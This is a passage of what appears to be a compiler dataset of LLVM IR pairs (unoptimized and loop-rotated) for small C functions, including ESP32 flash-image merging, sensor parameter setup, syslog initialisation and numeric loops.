; ModuleID = '<stdin>' source_filename = "/tmp/tmph92z4qy_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpbqc39v2f.c' source_filename = "/tmp/tmpbqc39v2f.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [68 x i8] c"dd if=/dev/zero bs=1M count=4 | tr \22\\000\22 \22\\377\22 > esp32flash.bin\00", align 1 @.str.1 = private unnamed_addr constant [32 x i8] c"build/bootloader/bootloader.bin\00", align 1 @.str.2 = private unnamed_addr constant [15 x i8] c"esp32flash.bin\00", align 1 @.str.3 = private unnamed_addr constant [18 x i8] c"build/default.bin\00", align 1 @.str.4 = private unnamed_addr constant [31 x i8] c"cp esp32flash.bin ~/qemu_esp32\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 store i32 %0, ptr %3, align 4 store ptr %1, ptr %4, align 8 %5 = call i32 @system(ptr noundef @.str) %6 = call i32 @merge_flash(ptr noundef @.str.1, ptr noundef @.str.2, i32 noundef 4096, i32 noundef 0) %7 = call i32 @merge_flash(ptr noundef @.str.3, ptr noundef @.str.2, i32 noundef 32768, i32 noundef 0) %8 = load ptr, ptr %4, align 8 %9 = getelementptr inbounds ptr, ptr %8, i64 1 %10 = load ptr, ptr %9, align 8 %11 = call i32 @merge_flash(ptr noundef %10, ptr noundef @.str.2, i32 noundef 65536, i32 noundef 0) %12 = call i32 @system(ptr noundef @.str.4) ret i32 0 } declare i32 @system(ptr noundef) #1 declare i32 @merge_flash(ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbqc39v2f.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [68 x i8] c"dd if=/dev/zero bs=1M count=4 | tr \22\\000\22 \22\\377\22 > esp32flash.bin\00", align 1 @.str.1 = private unnamed_addr constant [32 x i8] c"build/bootloader/bootloader.bin\00", align 1 @.str.2 = private unnamed_addr constant [15 x i8] c"esp32flash.bin\00", align 1 @.str.3 = private unnamed_addr constant [18 x i8] c"build/default.bin\00", align 1 @.str.4 = private unnamed_addr constant [31 x i8] c"cp esp32flash.bin ~/qemu_esp32\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 store i32 %0, ptr %3, align 4 store ptr %1, ptr %4, align 8 %5 = call i32 @system(ptr noundef @.str) %6 = call i32 @merge_flash(ptr noundef @.str.1, ptr noundef @.str.2, i32 noundef 4096, i32 noundef 0) %7 = call i32 @merge_flash(ptr noundef @.str.3, ptr noundef @.str.2, i32 noundef 32768, i32 noundef 0) %8 = load ptr, ptr %4, align 8 %9 = getelementptr inbounds ptr, ptr %8, i64 1 %10 = load ptr, ptr %9, align 8 %11 = call i32 @merge_flash(ptr noundef %10, ptr noundef @.str.2, i32 noundef 65536, i32 noundef 0) %12 = call i32 @system(ptr noundef @.str.4) ret i32 0 } declare i32 @system(ptr noundef) #1 declare i32 @merge_flash(ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpiovb46wf.c' source_filename = "/tmp/tmpiovb46wf.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local float @GetFloat() #0 { %1 = call float @get_float(ptr noundef null) ret float %1 } declare float @get_float(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpiovb46wf.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local float @GetFloat() #0 { %1 = call float @get_float(ptr noundef null) ret float %1 } declare float @get_float(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp3d2dxcxe.c' source_filename = "/tmp/tmp3d2dxcxe.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @init_app_adt7410() #0 { %1 = call i32 @ParamWrite(i32 noundef 0, i32 noundef 124) %2 = call i32 @ParamWrite(i32 noundef 1, i32 noundef 0) %3 = call i32 @ParamWrite(i32 noundef 2, i32 noundef 10) %4 = call i32 @ParamWrite(i32 noundef 3, i32 noundef 30) %5 = call i32 @ParamWrite(i32 noundef 4, i32 noundef 24000) ret void } declare i32 @ParamWrite(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp3d2dxcxe.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @init_app_adt7410() #0 { %1 = call i32 @ParamWrite(i32 noundef 0, i32 noundef 124) %2 = call i32 @ParamWrite(i32 noundef 1, i32 noundef 0) %3 = call i32 @ParamWrite(i32 noundef 2, i32 noundef 10) %4 = call i32 @ParamWrite(i32 noundef 3, i32 noundef 30) %5 = call i32 @ParamWrite(i32 noundef 4, i32 noundef 24000) ret void } declare i32 @ParamWrite(i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpw21zlspn.c' source_filename = "/tmp/tmpw21zlspn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpw21zlspn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpqzi6hw0j.c' source_filename = "/tmp/tmpqzi6hw0j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpqzi6hw0j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpah4jcpdl.c' source_filename = "/tmp/tmpah4jcpdl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpah4jcpdl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpd5y_jyxh.c' source_filename = "/tmp/tmpd5y_jyxh.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @log_init(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca ptr, align 8 store ptr %0, ptr %5, align 8 store ptr %1, ptr %6, align 8 store i32 %2, ptr %7, align 4 store i32 %3, ptr %8, align 4 %10 = load ptr, ptr %6, align 8 %11 = load ptr, ptr %10, align 8 %12 = getelementptr inbounds ptr, ptr %11, i64 0 %13 = load ptr, ptr %12, align 8 %14 = call ptr @strrchr(ptr noundef %13, i8 noundef signext 47) store ptr %14, ptr %9, align 8 %15 = icmp ne ptr %14, null br i1 %15, label %16, label %19 16: ; preds = %4 %17 = load ptr, ptr %9, align 8 %18 = getelementptr inbounds i8, ptr %17, i64 1 br label %24 19: ; preds = %4 %20 = load ptr, ptr %6, align 8 %21 = load ptr, ptr %20, align 8 %22 = getelementptr inbounds ptr, ptr %21, i64 0 %23 = load ptr, ptr %22, align 8 br label %24 24: ; preds = %19, %16 %25 = phi ptr [ %18, %16 ], [ %23, %19 ] store ptr %25, ptr %9, align 8 %26 = load ptr, ptr %9, align 8 %27 = load i32, ptr %7, align 4 %28 = load i32, ptr %8, align 4 %29 = call i32 @openlog(ptr noundef %26, i32 noundef %27, i32 noundef %28) ret void } declare ptr @strrchr(ptr noundef, i8 noundef signext) #1 declare i32 @openlog(ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpd5y_jyxh.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @log_init(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca ptr, align 8 store ptr %0, ptr %5, align 8 store ptr %1, ptr %6, align 8 store i32 %2, ptr %7, align 4 store i32 %3, ptr %8, align 4 %10 = load ptr, ptr %6, align 8 %11 = load ptr, ptr %10, align 8 %12 = getelementptr inbounds ptr, ptr %11, i64 0 %13 = load ptr, ptr %12, align 8 %14 = call ptr @strrchr(ptr noundef %13, i8 noundef signext 47) store ptr %14, ptr %9, align 8 %15 = icmp ne ptr %14, null br i1 %15, label %16, label %19 16: ; preds = %4 %17 = load ptr, ptr %9, align 8 %18 = getelementptr inbounds i8, ptr %17, i64 1 br label %24 19: ; preds = %4 %20 = load ptr, ptr %6, align 8 %21 = load ptr, ptr %20, align 8 %22 = getelementptr inbounds ptr, ptr %21, i64 0 %23 = load ptr, ptr %22, align 8 br label %24 24: ; preds = %19, %16 %25 = phi ptr [ %18, %16 ], [ %23, %19 ] store ptr %25, ptr %9, align 8 %26 = load ptr, ptr %9, align 8 %27 = load i32, ptr %7, align 4 %28 = load i32, ptr %8, align 4 %29 = call i32 @openlog(ptr noundef %26, i32 noundef %27, i32 noundef %28) ret void } declare ptr @strrchr(ptr noundef, i8 noundef signext) #1 declare i32 @openlog(ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpfg9th65s.c' source_filename = "/tmp/tmpfg9th65s.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local float @epslon(float noundef %0) #0 { %2 = alloca float, align 4 %3 = alloca float, align 4 %4 = alloca float, align 4 %5 = alloca float, align 4 %6 = alloca float, align 4 store float %0, ptr %2, align 4 store float 0x3FF5555560000000, ptr %3, align 4 store float 0.000000e+00, ptr %6, align 4 br label %7 7: ; preds = %11, %1 %8 = load float, ptr %6, align 4 %9 = fpext float %8 to double %10 = fcmp oeq double %9, 0.000000e+00 br i1 %10, label %11, label %25 11: ; preds = %7 %12 = load float, ptr %3, align 4 %13 = fpext float %12 to double %14 = fsub double %13, 1.000000e+00 %15 = fptrunc double %14 to float store float %15, ptr %4, align 4 %16 = load float, ptr %4, align 4 %17 = load float, ptr %4, align 4 %18 = fadd float %16, %17 %19 = load float, ptr %4, align 4 %20 = fadd float %18, %19 store float %20, ptr %5, align 4 %21 = load float, ptr %5, align 4 %22 = fpext float %21 to double %23 = fsub double %22, 1.000000e+00 %24 = call float @fabs(double noundef %23) store float %24, ptr %6, align 4 br label %7, !llvm.loop !6 25: ; preds = %7 %26 = load float, ptr %6, align 4 %27 = load float, ptr %2, align 4 %28 = fpext float %27 to double %29 = call float @fabs(double noundef %28) %30 = fmul float %26, %29 ret float %30 } declare float @fabs(double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpfg9th65s.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local float @epslon(float noundef %0) #0 { %2 = alloca float, align 4 %3 = alloca float, align 4 %4 = alloca float, align 4 %5 = alloca float, align 4 %6 = alloca float, align 4 store float %0, ptr %2, align 4 store float 0x3FF5555560000000, ptr %3, align 4 store float 0.000000e+00, ptr %6, align 4 %7 = load float, ptr %6, align 4 %8 = fpext float %7 to double %9 = fcmp oeq double %8, 0.000000e+00 br i1 %9, label %.lr.ph, label %27 .lr.ph: ; preds = %1 br label %10 10: ; preds = %.lr.ph, %10 %11 = load float, ptr %3, align 4 %12 = fpext float %11 to double %13 = fsub double %12, 1.000000e+00 %14 = fptrunc double %13 to float store float %14, ptr %4, align 4 %15 = load float, ptr %4, align 4 %16 = load float, ptr %4, align 4 %17 = fadd float %15, %16 %18 = load float, ptr %4, align 4 %19 = fadd float %17, %18 store float %19, ptr %5, align 4 %20 = load float, ptr %5, align 4 %21 = fpext float %20 to double %22 = fsub double %21, 1.000000e+00 %23 = call float @fabs(double noundef %22) store float %23, ptr %6, align 4 %24 = load float, ptr %6, align 4 %25 = fpext float %24 to double %26 = fcmp oeq double %25, 0.000000e+00 br i1 %26, label %10, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %10 br label %27 27: ; preds = %._crit_edge, %1 %28 = load float, ptr %6, align 4 %29 = load float, ptr %2, align 4 %30 = fpext float %29 to double %31 = call float @fabs(double noundef %30) %32 = fmul float %28, %31 ret float %32 } declare float @fabs(double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp1p82mrrb.c' source_filename = "/tmp/tmp1p82mrrb.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @varithimm_141_uint16_t(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 store i32 0, ptr %5, align 4 br label %6 6: ; preds = %30, %2 %7 = load i32, ptr %5, align 4 %8 = load i32, ptr %4, align 4 %9 = icmp slt i32 %7, %8 br i1 %9, label %10, label %33 10: ; preds = %6 %11 = load ptr, ptr %3, align 8 %12 = load i32, ptr %5, align 4 %13 = sext i32 %12 to i64 %14 = getelementptr inbounds i64, ptr %11, i64 %13 %15 = load i64, ptr %14, align 8 %16 = icmp sgt i64 %15, 141 br i1 %16, label %17, label %23 17: ; preds = %10 %18 = load ptr, ptr %3, align 8 %19 = load i32, ptr %5, align 4 %20 = sext i32 %19 to i64 %21 = getelementptr inbounds i64, ptr %18, i64 %20 %22 = load i64, ptr %21, align 8 br label %24 23: ; preds = %10 br label %24 24: ; preds = %23, %17 %25 = phi i64 [ %22, %17 ], [ 141, %23 ] %26 = load ptr, ptr %3, align 8 %27 = load i32, ptr %5, align 4 %28 = sext i32 %27 to i64 %29 = getelementptr inbounds i64, ptr %26, i64 %28 store i64 %25, ptr %29, align 8 br label %30 30: ; preds = %24 %31 = load i32, ptr %5, align 4 %32 = add nsw i32 %31, 1 store i32 %32, ptr %5, align 4 br label %6, !llvm.loop !6 33: ; preds = %6 ret void } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp1p82mrrb.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @varithimm_141_uint16_t(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store i32 %1, ptr %4, align 4 store i32 0, ptr %5, align 4 %6 = load i32, ptr %5, align 4 %7 = load i32, ptr %4, align 4 %8 = icmp slt i32 %6, %7 br i1 %8, label %.lr.ph, label %35 .lr.ph: ; preds = %2 br label %9 9: ; preds = %.lr.ph, %29 %10 = load ptr, ptr %3, align 8 %11 = load i32, ptr %5, align 4 %12 = sext i32 %11 to i64 %13 = getelementptr inbounds i64, ptr %10, i64 %12 %14 = load i64, ptr %13, align 8 %15 = icmp sgt i64 %14, 141 br i1 %15, label %16, label %22 16: ; preds = %9 %17 = load ptr, ptr %3, align 8 %18 = load i32, ptr %5, align 4 %19 = sext i32 %18 to i64 %20 = getelementptr inbounds i64, ptr %17, i64 %19 %21 = load i64, ptr %20, align 8 br label %23 22: ; preds = %9 br label %23 23: ; preds = %22, %16 %24 = phi i64 [ %21, %16 ], [ 141, %22 ] %25 = load ptr, ptr %3, align 8 %26 = load i32, ptr %5, align 4 %27 = sext i32 %26 to i64 %28 = getelementptr inbounds i64, ptr %25, i64 %27 store i64 %24, ptr %28, align 8 br label %29 29: ; preds = %23 %30 = load i32, ptr %5, align 4 %31 = add nsw i32 %30, 1 store i32 %31, ptr %5, align 4 %32 = load i32, ptr %5, align 4 %33 = load i32, ptr %4, align 4 %34 = icmp slt i32 %32, %33 br i1 %34, label %9, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; 